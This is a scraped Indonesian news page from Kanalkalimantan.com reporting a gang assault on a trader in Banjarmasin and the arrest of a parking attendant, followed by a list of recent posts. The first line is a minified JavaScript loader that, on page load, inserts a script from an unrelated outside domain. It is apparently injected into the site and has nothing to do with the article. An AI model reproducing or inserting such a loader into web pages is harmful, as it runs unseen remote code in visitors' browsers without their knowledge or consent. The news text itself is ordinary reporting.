(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Pengeroyokan di Belitung Darat, Seorang Jukir Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa pengeroyokan membuat geger warga sekitar Pasar Gang Amal, Jalan Belitung Darat, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Senin (11/3/2024) malam.

Malam pertama bulan Ramadan itu seorang pedagang bernama Baida (50) mengalami luka serius karena dikeroyok oleh empat orang.

Salah satu pelaku adalah AJ (29), seorang juru parkir (jukir) ditangkap tak lama setelah ia ikut melakukan pengeroyokan.

Berdasarkan keterangan Kapolsek Banjarmasin Barat Kompol Arie Munandar melalui Kanit Reskrim Iptu Firuza Bahri, peristiwa pengeroyokan itu dilakukan oleh empat lelaki berinisial AJ, A, Y, dan I sekitar pukul 22.15 Wita.

Berdasarkan keterangan pelapor pada Senin (11/3/2024) malam, Baida yang saat itu berjualan di Jalan Belitung Darat tepatnya di depan Pasar Gang Amal dikeroyok empat orang menggunakan senjata tajam dan tangan kosong.

Baca juga: Balap Liar Depan Balai Kota, Belasan Pot Bunga Hancur Ditabrak

Akibatnya Baida mengalami luka pada bagian tangan dan harus mendapatkan penanganan medis di Rumah Sakit (RS) Suaka Insan Banjarmasin.

Setelah melakukan pengeroyokan, pelaku AJ berhasil diamankan oleh petugas Satreskrim Polresta Banjarmasin. Sementara tiga orang pelaku lainnya A, Y, dan I melarikan diri dan saat ini masih proses pencarian.

Saat penangkapan, polisi menyita barang bukti sebilah parang yang digunakan AJ untuk melukai Baida.

Hasil penyelidikan dan keterangan saksi, motif pengeroyokan dilatarbelakangi masalah uang parkir.

Baca juga: Kediaman Sule Kedatangan Tyas Mirasih, Hanya di “Cari Berkah” BTV!

“Pelaku AJ dan barang bukti tersebut sudah diamankan ke Mapolsek Banjarmasin Barat untuk proses hukum lebih lanjut,” kata Kanit Reskrim.

Juru parkir tersebut kini berhadapan dengan jeratan hukum Pasal 170 ayat (2) Jo Pasal 56 KUHP karena melakukan kekerasan secara bersama-sama. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

2 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

3 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

4 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

8 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

8 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

9 jam ago

This website uses cookies.